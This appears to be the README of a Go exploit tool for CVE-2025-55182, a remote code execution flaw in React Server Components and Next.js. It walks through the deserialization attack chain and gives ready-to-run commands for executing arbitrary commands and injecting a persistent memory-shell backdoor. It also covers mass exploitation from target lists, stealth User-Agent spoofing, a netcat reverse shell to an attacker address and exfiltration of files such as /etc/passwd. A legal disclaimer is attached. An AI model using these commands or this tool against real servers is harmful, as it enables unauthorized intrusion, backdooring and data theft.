CVE-2025-55182 React Server Components RCE - Go PoC

⚠️ FOR AUTHORIZED SECURITY TESTING ONLY ⚠️

Description

CVE-2025-55182 (also known as CVE-2025-66478) is a critical Remote Code Execution vulnerability in React Server Components (Flight protocol). This tool is a Go implementation of the PoC for security research and authorized penetration testing.

Affected versions:

react-server-dom-webpack: 19.0.0 - 19.2.0
Next.js: 15.x (before patches: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7)
Next.js: 16.x (before 16.0.7)
Next.js: 14.3.0-canary.77 and later canary versions

Vulnerability Details

The exploit leverages prototype pollution in Flight protocol deserialization:

Uses $@ deserialization to get a Chunk reference
Places Chunk.prototype.then as the then property of root object
Sets status to RESOLVED_MODEL to call initializeModelChunk with a controlled fake chunk
Triggers Blob deserialization which calls response._formData.get with attacker payload
Sets response._formData.get to Function constructor for arbitrary code execution

Features

Full RCE capability - Execute arbitrary commands with output
Vulnerability check mode - Safe detection without exploitation
Next.js version detection - Automatic version fingerprinting
Memory Shell injection - Persistent backdoor at /exec?cmd=
Batch scanning - Multi-threaded scanning with JSON output
Comprehensive proxy support:
- SOCKS5 with/without authentication
- SOCKS4/SOCKS4a
- HTTP/HTTPS proxy with/without authentication
Stealth mode - Browser, crawler, security User-Agents
Rate limiting - Configurable delays between requests
Reverse shell - mkfifo + nc (works on Alpine/busybox)
Data exfiltration - POST command output to attacker server
Cross-platform builds - 30+ OS/architecture combinations
JSON output - Machine-readable results for automation

Installation

Pre-built Binaries

Download the latest release for your platform from GitHub Releases.

Available binaries:

Linux: amd64, 386, arm, arm64, mips, mipsle, mips64, riscv64, ppc64, s390x
Windows: amd64, 386, arm64
macOS: amd64 (Intel), arm64 (Apple Silicon)
FreeBSD, OpenBSD, NetBSD: amd64, 386, arm, arm64
And more...

From Source

# Clone repository
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC

# Build for current platform
go build -o cve-2025-55182 .

# Or build for all platforms
chmod +x build.sh
./build.sh

Build from Source

After running ./build.sh, binaries will be available in the build/ directory for all supported platforms.

Usage

Basic Commands

# Check single target for vulnerability
./cve-2025-55182 -u http://target:3000 --check

# Detect Next.js version
./cve-2025-55182 -u http://target:3000 --version-check

# Execute command with output
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"

Memory Shell (Persistent Backdoor)

# Inject memory shell (checks if already installed first)
./cve-2025-55182 -u http://target:3000 --memshell

# Test if memory shell is active
./cve-2025-55182 -u http://target:3000 --test-shell

# Execute command via memory shell
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"

# After injection, you can also use curl directly:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'

Custom Headers & SSL Bypass

# Add custom headers (can be used multiple times)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'

# Skip SSL certificate verification (for self-signed certs)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure

# Combine with other options
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080

Proxy Support

# SOCKS5 with authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080

# SOCKS5 without authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080

# SOCKS4 proxy
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080

# HTTP proxy
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080

Batch Scanning

# Batch check from file
./cve-2025-55182 --urls targets.txt --check

# Batch scan with JSON output
./cve-2025-55182 --urls targets.txt --check --json -o results.json

# Batch scan with multiple threads and stealth
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s

# Save vulnerable targets to file
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt

# Batch memory shell injection
./cve-2025-55182 --urls targets.txt --memshell --workers 10

# Batch command execution
./cve-2025-55182 --urls targets.txt -c "id" --threads 5

Network Exfiltration

# Reverse shell (mkfifo + nc, works on Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444

# Start listener on attacker machine first:
nc -lvnp 4444

# Exfiltrate command output via HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444

# Start listener: nc -lvnp 4444

Options

Proxy Types

socks5://user:pass@ip:port  - SOCKS5 with authentication
socks5://ip:port            - SOCKS5 without authentication  
socks5h://ip:port           - SOCKS5 with remote DNS resolution
socks4://ip:port            - SOCKS4 proxy
socks4a://ip:port           - SOCKS4a proxy
http://user:pass@ip:port    - HTTP proxy with authentication
http://ip:port              - HTTP proxy without authentication
https://ip:port             - HTTPS proxy

Stealth Modes

Mode	Description
`browser`	Mimics real browser requests (Chrome, Firefox, Safari, Edge) - default
`crawler`	Mimics search engine crawlers (Googlebot, Bingbot, Baiduspider, etc.)
`security`	Uses security scanner User-Agents (Nessus, Nuclei)

Memory Shell

The memory shell feature injects a persistent backdoor that:

Checks first - Before injection, verifies if shell is already installed
Hooks http.Server.prototype.emit - Intercepts all HTTP requests
Creates /exec endpoint - Accepts cmd query parameter
Survives until restart - Persists in server memory

# After injection:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=ls+-la'
curl 'http://target:3000/exec?cmd=cat+/etc/passwd'

Project Structure

.
├── main.go                   # CLI entry point
├── pkg/
│   ├── colors/
│   │   └── colors.go         # Terminal colors with --nocolor support
│   ├── exploit/
│   │   └── exploit.go        # Core exploit logic, memory shell, version detection
│   ├── proxy/
│   │   └── proxy.go          # SOCKS4/5, HTTP proxy support
│   ├── scanner/
│   │   └── scanner.go        # Batch scanning with JSON output
│   └── stealth/
│       └── stealth.go        # User-Agent randomization
├── build.sh                  # Cross-platform build script
├── go.mod                    # Go module file
├── go.sum                    # Go dependencies
└── README.md                 # This file

Cross-Platform Builds

The build.sh script builds for 30+ platforms:

Linux: amd64, 386, arm, arm64, mips, mipsle, mips64, riscv64, ppc64, s390x
Windows: amd64, 386, arm64 (.exe)
macOS: amd64 (Intel), arm64 (Apple Silicon)
FreeBSD: amd64, 386, arm, arm64
OpenBSD: amd64, 386, arm, arm64
NetBSD: amd64, 386, arm, arm64
DragonFly BSD: amd64
Solaris/Illumos: amd64
Plan 9: amd64, 386
AIX: ppc64

chmod +x build.sh
./build.sh

JSON Output Format

When using --json flag, results are saved in JSONL format (one JSON per line):

{"url":"http://target:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}

Full report (_report.json) includes:

{
  "scan_time": "2025-12-06T12:00:00Z",
  "total_urls": 100,
  "vulnerable_count": 5,
  "safe_count": 90,
  "timeout_count": 5,
  "results": [...]
}

Version Detection

The tool can detect Next.js version from:

X-Powered-By header
HTML/JS source (__NEXT_DATA__, /_next/ paths)
Build manifest patterns

Vulnerable versions are highlighted in red.

Disclaimer

⚠️ IMPORTANT LEGAL NOTICE ⚠️

This tool is provided strictly for educational purposes and authorized security testing only.

Intended Use

Security research and vulnerability assessment
Authorized penetration testing with written permission
Testing your own applications and infrastructure
Educational demonstration in controlled lab environments
Developing patches and security mitigations

Prohibited Use

It is strictly prohibited to use this tool:

Against systems you do not own or have explicit written authorization to test
For any malicious, illegal, or unauthorized activities
To gain unauthorized access to computer systems or networks
In violation of any applicable local, state, national, or international laws
To disrupt, damage, or compromise systems without authorization

Legal Warning

Unauthorized access to computer systems is a criminal offense in most jurisdictions worldwide, including but not limited to:

🇺🇸 USA: Computer Fraud and Abuse Act (CFAA) - up to 20 years imprisonment
🇪🇺 EU: Directive 2013/40/EU on attacks against information systems
🇷🇺 Russia: Article 272-274 of the Criminal Code
🇬🇧 UK: Computer Misuse Act 1990
🇩🇪 Germany: §202a-202d StGB
🇨🇳 China: Criminal Law Articles 285-287

No Warranty

THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED. THE AUTHORS AND COPYRIGHT HOLDERS SHALL NOT BE LIABLE FOR ANY CLAIM, DAMAGES, OR OTHER LIABILITY ARISING FROM THE USE OF THIS SOFTWARE.

User Responsibility

By downloading, installing, or using this tool, you acknowledge that:

You are solely responsible for your actions
You will only use this tool on systems you own or have explicit authorization to test
You understand and accept all risks associated with using this software
The author bears no responsibility for any misuse or damage caused

If you do not agree with these terms, do not use this tool.

Author

Vladislav Tislenko aka keklick1337
Date: 2025-12-05

License

This project is licensed under the MIT License - see the LICENSE file for details.

Use responsibly. Stay legal. 🔐

`-u, --url`	Target URL (e.g., http://localhost:3000)
`-f, --file`	File containing target URLs (one per line)
`--urls`	Alias for -f/--file
`-o, --output`	Output file for vulnerable targets
`--json`	Output results in JSON format
`-c, --command`	Command to execute (with output)
`--check`	Check for vulnerability
`--version-check`	Detect Next.js version
`--proxy`	Proxy URL (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port)
`-H, --header`	Custom header (can be used multiple times)
`-k, --insecure`	Skip SSL/TLS certificate verification
`--stealth`	Stealth mode: browser, crawler, security (default: browser)
`--delay`	Delay between requests (e.g., 2s, 500ms)
`--variants`	Use multiple payload variants for thorough check
`--memshell`	Inject memory shell (persistent backdoor)
`--test-shell`	Test if memory shell is active
`--shell-exec`	Execute command via memory shell
`--revshell IP PORT`	Establish reverse shell
`--exfil CMD IP PORT`	Execute command and POST output
`-t, --timeout`	Request timeout in seconds (default: 15)
`--threads`	Number of concurrent threads (default: 10)
`--workers`	Alias for --threads
`--nocolor`	Disable colored output (for Windows/pipes)
`-h, --help`	Show help message
`-v, --version`	Show version

Most Popular

CVE-2025-55182-golang-PoC